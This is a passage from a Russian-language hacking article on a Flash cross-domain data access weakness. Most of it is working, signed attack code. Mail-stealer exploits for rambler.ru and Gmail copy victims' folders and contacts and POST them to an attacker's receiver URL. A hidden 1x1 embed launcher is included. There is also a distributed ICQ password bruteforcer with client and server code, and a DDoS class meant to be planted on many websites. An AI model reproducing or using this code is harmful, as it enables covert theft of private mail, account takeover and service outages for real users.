if(dataReceiverUrl) { import flash.external.ExternalInterface; if(!messagesUntilDump) { messagesUntilDump = 3; } var messagesContent:Array = new Array(); var allLinks:Array = new Array(); var allLinksObject:Object = new Object(); var foldersDone:Number = 0; // Getting referrer var referrer:String = ExternalInterface.call( "function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/index=(\d+)/i)[1]; var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/')); // Loading policy file / Expanding 'sandbox' flash.system.Security.loadPolicyFile(baseUrl + '/view.php?index=' + messageId + '&partID=2&actionID=download_attach'); var folders:Array = new Array( '/mailbox.php?mailbox=INBOX&', // Inbox '/mailbox.php?mailbox=INBOX.Draft&', // Draft '/mailbox.php?mailbox=INBOX.Sent&', // Sent '/mailbox.php?mailbox=INBOX.Trash&'); // Trash // Getting lists of messages in some folders (folders) var loader:LoadUrl = new LoadUrl(null, onGetMessageList); for each (var folder in folders) { new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl(); } }
function onGetMessageList(loadedData:String, requestUrl:String):void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for links of messages var currentLinks:Array = loadedData.match(/(message\.php\?index=\d+)/ig); var currentFolder:String = requestUrl.match(/\?(mailbox=[a-z\.]+)&/i)[1];
// Deleting similar links for each (var link:String in currentLinks) { allLinksObject[link + '&' + currentFolder] = null; }
foldersDone++;
if(foldersDone == folders.length) { for(var key:String in allLinksObject) { allLinks.push(key); }
sendGetLinkRequsts(); } }
function sendGetLinkRequsts():void { if(allLinks.length) { if(allLinks.length < messagesUntilDump) { messagesUntilDump = allLinks.length; } var loader:LoadUrl = new LoadUrl(null, onGetMessageContent); for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message loader.setRequestUrl(baseUrl + '/' + allLinks.shift()); loader.loadUrl(); } } }
function onGetMessageContent(loadedData:String, requestUrl:String):void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages var loader:LoadUrl = new LoadUrl( dataReceiverUrl, function() {}, 'POST', 'data=' + escape(messagesContent.join('<br>'))); loader.loadUrl(); messagesContent = new Array(); sendGetLinkRequsts(); } }
// EOF |
Необходимый класс [LoadUrl.as]:
package { import flash.net.*; import flash.events.*;
public class LoadUrl { private var requestUrl:String; private var method:String; private var vars:String; private var onLoadFunction:Function; // Constructor public function LoadUrl( requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void { this.requestUrl = requestUrl; this.method = method; this.vars = vars; this.onLoadFunction = onLoadFunction; } public function setRequestUrl(requestUrl:String):void { this.requestUrl = requestUrl; } public function getRequestUrl():String { return(this.requestUrl); } public function loadUrl():void{ var request:URLRequest = new URLRequest(requestUrl); request.method = method; if(vars) { request.data = vars; } var loader:URLLoader = new URLLoader();
loader.addEventListener( Event.COMPLETE, function() { onLoadFunction(loader.data, getRequestUrl()); } ); loader.addEventListener( IOErrorEvent.IO_ERROR, function() { loadUrl(); }); try { loader.load(request); } catch (error:Error) { return; } } } } |
Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript
/* rambler.ru Mail Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals all messages in next folders: inbox, draft, sent, trash + contacts
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl; var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) { import flash.external.ExternalInterface; if(!messagesUntilDump) { messagesUntilDump = 3; } var messagesContent:Array = new Array(); var allLinks:Array = new Array('contacts.cgi'); var allLinksObject:Object = new Object(); var foldersDone:Number = 0; // Getting referrer var referrer:String = ExternalInterface.call( "function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/what=(\d+)/i)[1]; var mbox:String = referrer.match(/mbox=([a-z]+)/i)[1]; var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/')); // Loading policy file / Expanding 'sandbox' flash.system.Security.loadPolicyFile(baseUrl + '/mail.cgi?mode=obj;mbox=' + mbox + ';what=' + messageId + '.2;for=download'); var folders:Array = new Array( '/mail.cgi?mode=mailbox;mbox=INBOX&', // Inbox '/mail.cgi?mode=mailbox;mbox=SentBox&', // Sent '/mail.cgi?mode=mailbox;mbox=DraftBox&', // Draft '/mail.cgi?mode=mailbox;mbox=Trash&'); // Trash // Getting lists of messages in some folders (folders) var loader:LoadUrl = new LoadUrl(null, onGetMessageList); for each (var folder in folders) { new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl(); } }
function onGetMessageList(loadedData:String):void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for links of messages var currentLinks:Array = loadedData.match(/(mail.cgi\?mode=obj;[^\"]+)/ig);
// Deleting similar links for each (var link:String in currentLinks) { allLinksObject[link + '&'] = null; }
foldersDone++;
if(foldersDone == folders.length) { for(var key:String in allLinksObject) { allLinks.push(key); }
sendGetLinkRequsts(); } }
function sendGetLinkRequsts():void { if(allLinks.length) { if(allLinks.length < messagesUntilDump) { messagesUntilDump = allLinks.length; } var loader:LoadUrl = new LoadUrl(null, onGetMessageContent); for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message loader.setRequestUrl(baseUrl + '/' + allLinks.shift()); loader.loadUrl(); } } }
function onGetMessageContent(loadedData:String):void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages var loader:LoadUrl = new LoadUrl( dataReceiverUrl, function() {}, 'POST', 'data=' + escape(messagesContent.join('<br>'))); loader.loadUrl(); messagesContent = new Array(); sendGetLinkRequsts(); } }
// EOF |
В примере используется класс LoadUrl такой же, как и для gmail.com (см. далее)
На данном почтовом сервере присутствует описанная уязвимость, однако в ходе проверки обнаружились еще 3 активных XSS (поля from, to, cc), множество пассивных, поэтому писать exploit для данного сервиса я не стал, ибо использование активных XSS в данном случае эффективнее.
Данный почтовый сервис уязвим, если используется "Gmail's basic HTML view" (при отключенном Javascript). При переходе по ссылке в теле письма передается Referer. На основании двух параметров из Referer формируем адрес attachment. Exploit придется писать на AS3, т. к. понадобятся регулярные выражения без использования Javascript. Referer необходимо будет передавать клипу параметром, например, используя PHP + FlashVars.
Gmail's basic HTML view - http://mail.google.com/mail/h/
Код для кражи всех писем в директориях All Mail, Trash + contacts [AS3]
Параметры:
· Referer - адрес присланного жертве письма
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
/* gmail.com Mail Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals all mail + contacts Works in Gmail's basic HTML view
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // referer:String // [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl; var referer:String = this.loaderInfo.parameters.referer; var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl && referer) { if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array(); var allLinks:Array = new Array('?v=cl'); var allLinksObject:Object = new Object(); var foldersDone:Number = 0;
var baseUrl:String = referer.substring(0, referer.lastIndexOf('/')); var th:String = referer.match(/th=([a-z0-9]+)/i)[1]; // Loading policy file / Expanding 'sandbox' flash.system.Security.loadPolicyFile(baseUrl + '?realattid=file0&attid=0.1&disp=attd&view=att&th=' + th); var folders:Array = new Array( '/s=a&', // All Mail '/s=t&'); // Trash // Getting lists of messages in some folders (folders) var loader:LoadUrl = new LoadUrl(null, onGetMessageList); for each (var folder in folders) { loader.setRequestUrl(baseUrl + folder); loader.loadUrl(); } }
function onGetMessageList(loadedData:String):void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for links of messages var currentLinks:Array = loadedData.match(/(\?v=[^\"]+&th=[^\"]+)/ig);
// Deleting similar links for each (var link:String in currentLinks) { allLinksObject[link] = null; }
foldersDone++;
if(foldersDone == folders.length) { for(var key:String in allLinksObject) { allLinks.push(key); }
sendGetLinkRequsts(); } }
function sendGetLinkRequsts():void { if(allLinks.length) { if(allLinks.length < messagesUntilDump) { messagesUntilDump = allLinks.length; } var loader:LoadUrl = new LoadUrl(null, onGetMessageContent); for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message loader.setRequestUrl(baseUrl + '/' + allLinks.shift() + '&'); loader.loadUrl(); } } }
function onGetMessageContent(loadedData:String):void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages var loader:LoadUrl = new LoadUrl( dataReceiverUrl, function() {}, 'POST', 'data=' + encodeURIComponent(messagesContent.join('<br>'))); loader.loadUrl(); messagesContent = new Array(); sendGetLinkRequsts(); } }
// EOF |
Необходимый класс [LoadUrl.as]:
package { import flash.net.*; import flash.events.*;
public class LoadUrl { private var requestUrl:String; private var method:String; private var vars:String; private var onLoadFunction:Function; // Constructor public function LoadUrl( requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void { this.requestUrl = requestUrl; this.method = method; this.vars = vars; this.onLoadFunction = onLoadFunction; } public function setRequestUrl(requestUrl:String):void { this.requestUrl = requestUrl; } public function getRequestUrl():String { return(this.requestUrl); } public function loadUrl():void{ var request:URLRequest = new URLRequest(requestUrl); request.method = method; if(vars) { request.data = vars; } var loader:URLLoader = new URLLoader();
loader.addEventListener( Event.COMPLETE, function() { onLoadFunction(loader.data); } ); loader.addEventListener( IOErrorEvent.IO_ERROR, function() { loadUrl(); }); try { loader.load(request); } catch (error:Error) { return; } } } } |
Пример запуска [PHP]
<?php $referer = urlencode($_SERVER['HTTP_REFERER']); ?> <OBJECT id="fl" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <PARAM name="movie" value="fl.swf"> <PARAM name="FlashVars" value="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>"> <EMBED name="fl" src="fl.swf" FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>" width="1" height="1" swLiveConnect="true" pluginspace="http://www.macromedia.com/go/flashplayer/"> </EMBED> </OBJECT> |
При просмотре результатов использовать кодировку UTF-8
От необходимости поддержки браузером жертвы Javascript можно избавиться: для этого exploits надо писать на AS3, Referer получать используя, например, PHP, передавать его клипу посредством FlashVars (см. пример gmail.com)
Для проверки почтовых сервисов на XSS, CDDAF рекомендую использовать обновленную версию cXssTester. Для поиска XSS посылаем письмо на свой почтовый ящик и смотрим исходный код полученного письма, ищем недостатки в фильтрации. Для проверки на наличие CDDAF смотрим, возможно ли получить адрес прикрепленных к письму файлов или самого письма. Это можно сделать, получив Referer от жертвы, поэтому необходимо проверить, передается ли он при переходе по ссылке из письма, загружаются ли внешние HTML элементы. Также необходимо обратить внимание на наличие / отсутствие фильтрации кода сертификата в теле письма.
Рассмотрим распределенный перебор паролей на основе CDDAF на примере icq.com. Как я уже отмечал ранее, на сервере может присутствовать необходимый нам файл сертификата, причем неправильно настроенный (domain="*"). Яркий пример - icq.com (http://icq.com/crossdomain.xml).
Можно написать icq bruteforcer на основе сервиса ICQ2Go: клиентскую часть на AS1/2, серверную на PHP. В данном случае распределенный перебор паролей будет очень похож на сеть распределенного вычисления: клиент будет получать от сервера задание (пары uin:password), проверять их, отправлять результат серверу. Сервер будет выдавать клиентам задания (если клиент не посылает результат проверки в течение некоторого времени (clientTimeout), сервер отдаст это задание другому клиенту), записывать результаты, текущие параметры процесса перебора.
Скорость перебора будет зависить от числа клиентов (например, если разместить клиент на нескольких сайтах, то чем больше их суммарный online, тем выше скорость). Сразу отмечу, что после нескольких неудачных попыток аутентификации сервер icq блокирует клиента на некоторое время, поэтому для приемлемой скорости перебора необходим большой online (также необходимо правильно настроить таймауты в клиентской части).
В коде клиента я оставил информационные сообщения, их можно убрать (удалить строки вида st.text = "text";)
Клиент [AS1/2]
/* Client for cIcqBrute by Cenarius Email: ooohoow@gmail.com | Icq: 100732 Version: 0.2 */
// ----------------------------------- // Config // -----------------------------------
// Url of server, which sends tasks / receives reports var serverUrl:String = 'http://localhost/cIcqBrute.php';
// Url of preferences for icq client var preferencesUrl:String = 'http://download.icq.com/icq2go/flicq_preferences.xml';
// Hello server's path var helloPath:String = '/hello';
// Data server's path var dataPath:String = '/data';
// Number of combo for checking per one session var comboPerSession:Number = 2;
// Freeze interval for hello tryes (seconds) var globalFreezeTime:Number = 30;
// Timeout for each server (seconds) var freezeInterval:Number = 60;
// Time in which preferences will be updated (hours) var preferencesUpdateTime:Number = 24; var transactionNumber:Number = 1000;
// ----------------------------------- // -----------------------------------
this.createTextField("st",1,20,50,500,500);
var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(!preferences.data.checkedCombo) { preferences.data.checkedCombo = 0; }
// Checking if freeze set if(preferences.data.globalFreeze && preferences.data.globalFreeze >= new Date().valueOf()) { st.text = "Freeze!\n"; var tmId = setInterval( function() { if(preferences.data.globalFreeze <= new Date().valueOf()) { clearInterval(tmId); checkCombo(); } }, 1000); } else { checkCombo(); }
function checkCombo():Void { var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(preferences.data.comboExpires * 1000 < new Date().valueOf() or !getCurrentCombo()) { var report:String = "id=";
if(preferences.data.comboExpires) { report += preferences.data.comboExpires; } var goodCombo:SharedObject = SharedObject.getLocal("Good"); report += "&good="; for(var uin in goodCombo.data) { report += uin + ':' + goodCombo.data[uin] + chr(182); } st.text = "\n\t\t\t/* cIcqBruteforcer by Cenarius */\n\t\t\t\t\tversion 0.2\n\n"; st.text += "Sending good & getting new combo...\t"; // Sending good combo and loading new task System.security.loadPolicyFile(serverUrl); serverRequest(serverUrl, report, 'POST', onComboLoaded); } else { st.text += "\n"; // Checking next combo getCurrentCombo(); checkPreferences(); } }
// Sets next combo and returns true // Returns false if no combo remains function getCurrentCombo():Boolean { var combo:SharedObject = SharedObject.getLocal("Combo");
for(var uin in combo.data) { if(combo.data[uin] != false) { _global.currentUin = uin; _global.currentPass = combo.data[uin]; return(true); } } return(false); }
function checkPreferences():Void { var preferences:SharedObject = SharedObject.getLocal("Preferences"); if(!preferences.data.helloServer or preferences.data.preferencesExpires < new Date().valueOf()) { getPreferences(preferencesUrl); } else { // Sending Hello st.text += "Sending hello...\t"; serverRequest( preferences.data.helloServer + helloPath, 'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500', 'GET', onHelloDone); } }
function getPreferences(preferencesUrl:String):Void { st.text += "Getting new preferences...\t"; var preferencesXML:XML = new XML(); preferencesXML.ignoreWhite = true; preferencesXML.load(preferencesUrl); preferencesXML.onLoad = function(success:Boolean) { if(success) { st.text += "done\n"; xmlParse("server_url", preferencesXML); xmlParse("version", preferencesXML);
if(server_url) { var preferences:SharedObject = SharedObject.getLocal("Preferences");
preferences.data.preferncesExpires = new Date().valueOf() + preferencesUpdateTime*60*60*1000; preferences.data.helloServer = server_url; preferences.data.clientVersion = version;
// Sending Hello st.text += "Sending hello...\t"; serverRequest( preferences.data.helloServer + helloPath, 'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500', 'GET', onHelloDone); } else { // No such node } } else { // Load error } } }
// ----------------------------------- // OnLoad Functions // -----------------------------------
function onComboLoaded(success:Boolean):Void { if(success) { st.text += "done\n"; var combo:SharedObject = SharedObject.getLocal("Combo"); var goodCombo:SharedObject = SharedObject.getLocal("Good"); var preferences:SharedObject = SharedObject.getLocal("Preferences"); combo.clear(); goodCombo.clear(); preferences.data.comboExpires = this.expires; var comboArray = this.cmb.split(chr(182)); for(var uin in comboArray) { combo.data[comboArray[uin].split(':')[0]] = comboArray[uin].split(':')[1]; } getCurrentCombo(); checkPreferences(); } else { // Making next try in 2 seconds delay(checkCombo, 2000); } }
function onHelloDone(success:Boolean):Void { if(success) { st.text += "done\n"; st.text += "Data server: " + this.server + " [" + this.session + "]\n"; var servers:SharedObject = SharedObject.getLocal("Servers"); if(!checkExistence(this.server, "Servers") or servers.data[this.server].freezeTime <= new Date().valueOf()) { var preferences:SharedObject = SharedObject.getLocal("Preferences"); preferences.data.currentDataServer = this.server; servers.data[preferences.data.currentDataServer] = new Object(); servers.data[preferences.data.currentDataServer].session = this.session; st.text += "Sending login request...\t"; // Login try serverRequest( 'http://' + this.server + dataPath, 'session=' + this.session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000', 'GET', onLoginTry); } else { var preferences:SharedObject = SharedObject.getLocal("Preferences"); preferences.data.globalFreeze = new Date().valueOf() + globalFreezeTime * 1000; st.text += "Delay " + globalFreezeTime + " 000 milliseconds\n"; delay( function() { // Sending Hello st.text += "Sending hello...\t"; serverRequest( preferences.data.helloServer + helloPath, 'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500', 'GET', onHelloDone); }, globalFreezeTime * 1000); } } else { checkCombo(); } }
function onLoginTry(success:Boolean):Void { if(success) { var combo:SharedObject = SharedObject.getLocal("Combo"); var preferences:SharedObject = SharedObject.getLocal("Preferences"); var servers:SharedObject = SharedObject.getLocal("Servers"); st.text += "done [" + this.code + "]\n"; if(this.code == 1020) { // Bad password st.text += 'Bad: ' + currentUin + ":" + currentPass + "\n"; combo.data[currentUin] = false; preferences.data.checkedCombo++; } else if(this.event == 2010) { // Good password st.text += 'Good: ' + currentUin + ":" + currentPass + "\n"; var goodCombo:SharedObject = SharedObject.getLocal("Good"); goodCombo.data[currentUin] = currentPass; combo.data[currentUin] = false; preferences.data.checkedCombo++; } if(preferences.data.checkedCombo >= comboPerSession or this.code == 1100) { // Rate limit servers.data[preferences.data.currentDataServer].freezeTime = new Date().valueOf() + freezeInterval * 1000; preferences.data.checkedCombo = 0; st.text += "Freezing: " + preferences.data.currentDataServer + " [" + servers.data[preferences.data.currentDataServer].freezeTime + "]\n"; if(getCurrentCombo()) { st.text += "Getting next session\n"; // Sending Hello st.text += "Sending hello...\t"; serverRequest( preferences.data.helloServer + helloPath, 'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500', 'GET', onHelloDone); } else { checkCombo(); } } else { if(getCurrentCombo()) { // Login try st.text += "Sending login request...\t"; serverRequest( 'http://' + preferences.data.currentDataServer + dataPath, 'session=' + servers.data[preferences.data.currentDataServer].session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000', 'GET', onLoginTry); } else { checkCombo(); } } } else { checkCombo(); } }
// ----------------------------------- // Auxiliary functions // -----------------------------------
function serverRequest( requestUrl:String, vars:String, method:String, onLoadFunc:Function):Void { var sender:LoadVars = new LoadVars(); var loader:LoadVars = new LoadVars(); sender.decode(vars);
loader.onLoad = onLoadFunc; sender.sendAndLoad(requestUrl, loader, method); }
function checkExistence(server:String, soName:String):Boolean { var _so:SharedObject = SharedObject.getLocal(soName); for(var s:String in _so.data) { if(s == server) { return(true); } } return(false); }
// Delay: starts func:Function in interval:Number milliseconds function delay(func:Function, interval:Number) { if(timeId) { clearInterval(timeId); timeId = false; func(); } else { timeId = setInterval(delay, interval, func); } }
// Parses dataNode:XMLNode, if founds nodeName:String // initializes _global[nodeName_str] with value of node nodeName function xmlParse(nodeName:String, dataNode:XMLNode) { for (var node:XMLNode = dataNode.firstChild; node != null; node = node.nextSibling) { if(node.nodeType == 1) { if(node.nodeName == nodeName) { _global[nodeName] = node.firstChild.toString(); } if(node.hasChildNodes()) { xmlParse(nodeName, node); } } } }
// Returns next transaction number function getNextTransNum():Number { if(transactionNumber > 99999) { transactionNumber = 1000; } return(transactionNumber++); }
// Encrypts string:String, returns encrypted string function encrypt(string:String):String { var encData:String = ""; for(var i = 0; i <= string.length - 1; i++) { var firstChar = (string.charCodeAt(i) & 240) >> 4; var secondChar = string.charCodeAt(i) & 15; encData += String.fromCharCode(firstChar + 65) + String.fromCharCode(secondChar + 65); } return(encData); }
// EOF |
Сервер [PHP]
<?php
/* Server for cIcqBrute by Cenarius Email: ooohoow@gmail.com | Icq: 100732
Version: 0.1 */
// -------------------------------- // Config // --------------------------------
$comboFile = 'cmb.txt'; // File with combo (uin:password) $goodFile = 'good.txt'; // File for dumping good combo $tmpFile = 'combo_tmp.txt'; // File for writing temporary info of bruteforcing process $comboPerClient = 2; // Number of combo in one client's task $clientTimeout = 300; // Client timeout (seconds)
// --------------------------------
set_time_limit(0); error_reporting(E_ALL ^ E_NOTICE);
if(!isset($_POST['id']) or !isset($_POST['good'])) { echo '<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>'."\"; exit(); }
if($_POST['id']) { $tmpContent = file($tmpFile); $clientCombo = parseTmp($tmpContent); $comboOffset = trim($tmpContent[0]);
$clientCombo[(int)$_POST['id']] = 'del'; updateTmp($clientCombo, $comboOffset); }
if($_POST['good']) { $gHandle = fopen($goodFile, "a"); fwrite($gHandle, implode("\n", explode(chr(182), stripslashes($_POST['good'])))); fclose($gHandle); }
if(!file_exists($comboFile) || !is_readable($comboFile)) { exit("- Error: can't open/read <b>$comboFile</b>"); }
if(!file_exists($tmpFile) || filesize($tmpFile) == 0) { $comboOffset = 0; } else { $tmpContent = file($tmpFile); $clientCombo = parseTmp($tmpContent); $comboOffset = trim($tmpContent[0]);
if($clientCombo) { foreach(array_keys($clientCombo) as $liveTime) { if(time() > $liveTime) { list($offset, $amount) = split(':', $clientCombo[$liveTime]); sliceCombo($offset, $amount); $clientCombo[$liveTime] = 'del'; $id = time() + $clientTimeout; echo '&expires=' . $id . "\"; $clientCombo[$id] = $offset . ':' . $amount; updateTmp($clientCombo, $comboOffset); exit(); } } } }
$newOffset = sliceCombo($comboOffset, $comboPerClient); $id = time() + $clientTimeout; echo '&expires=' . $id . "\"; $clientCombo[$id] = $comboOffset . ':' . $comboPerClient; updateTmp($clientCombo, $newOffset);
function parseTmp($tmpContent) { $comboOffset = trim(array_shift($tmpContent));
if(!$comboOffset) { exit(" - Error: wrong tmp file: <b>$tmpFile</b><br> Repair or delete it"); }
foreach($tmpContent as $str) { if(preg_match("/(\d+)\t(\d+:\d+)\n/", $str, $matches)) { $clientCombo[$matches[1]] = $matches[2]; } }
return $clientCombo; }
function sliceCombo($offset, $amount) { global $comboFile;
$handle = fopen($comboFile, "r") or exit(); if(fseek($handle, $offset) == -1) { exit(); }
$answer = 'cmb='; for($i = 1; $i <= $amount; $i++) { $answer .= trim(fgets($handle)) . chr(182); } $answer = preg_replace("/".chr(182)."$/", "", $answer);
echo $answer; $newOffset = ftell($handle);
fclose($handle); return $newOffset; }
function updateTmp($data, $mainOffset) { global $tmpFile;
$tmpHandle = fopen($tmpFile, "w"); fwrite($tmpHandle, $mainOffset . "\n");
foreach(array_keys($data) as $liveTime) { if($data[$liveTime] != 'del') { fwrite($tmpHandle, $liveTime . "\t" . $data[$liveTime] . "\n"); } } fclose($tmpHandle); } ?> |
Приведу простейший пример реализации DDoS на AS3. Клиент будет в некоторое количество потоков посылать серверу запрос и разрывать соединение. Для этого я написал класс на основе URLLoader [DDoS.as]:
import flash.net.*; import flash.events.*;
public class DDoS { private var targetUrl:String; private var method:String; private var vars:String; // Constructor public function DDoS( targetUrl:String, method:String = 'GET', vars:String = null):void { this.targetUrl = targetUrl; this.method = method; this.vars = vars; }
// Starts DDoS public function init():void{ var request:URLRequest = new URLRequest(targetUrl); request.method = method; if(vars) { request.data = vars; } var loader:URLLoader = new URLLoader(); loader.addEventListener(Event.OPEN, function() { loader.close(); init(); } ); try { loader.load(request); } catch (error:Error) { init(); } } } } |
Пример использования:
// Config const policyFile = "http://site.com/cross.xml"; const threadsNumber = 15;
flash.system.Security.loadPolicyFile(policyFile); var ddos:DDoS = new DDoS('http://site.com/search.php', 'POST', 'a=b&c=d');
for(var i:Number = 1; i <= threadsNumber; i++) { ddos.init(); } |
Полученный клип можно расположить на множестве сайтов: чем больше суммарный online, тем больше шансов на успех.
При написании эксплоитов для описанной уязвимости важно стремиться к максимальной универсальности, кросс-браузерности. При этом и возникают проблемы из-за того, что клиенты используют разные браузеры, разные версии Flash Player. Часто приходится использовать регулярные выражения, однако поддержка RegExp появилась только с Flash Player 9. Использовать RegExp в предыдущей версии плеера можно посредством вызова Javascript (класс ExternalInterface). Таким образом, если при написании exploit необходимо использовать регулярные выражения, есть два выхода:
> Использовать RegExp Javascript'a через класс ExternalInterface:
- Необходимость поддержки браузером клиента Javascript
> Использовать RegExp в ActionScript 3:
+ Не требуется поддержка Javascript
- Работа только в Flash Player 9+
Примеры использования обоих методов были приведены разделе о практическом применении уязвимости.
На мой взгляд, в настоящее время хакеры для своих целей в основном используют Javascript, однако возможности Flash намного его превосходят (особенно с появлением ActionScript 3). Надеюсь, данная статья это продемонстрировала. Были рассмотрены наиболее общие способы применения уязвимости, однако только ими ее использование не ограничивается.
Живой, мертвый или в суперпозиции? Узнайте в нашем канале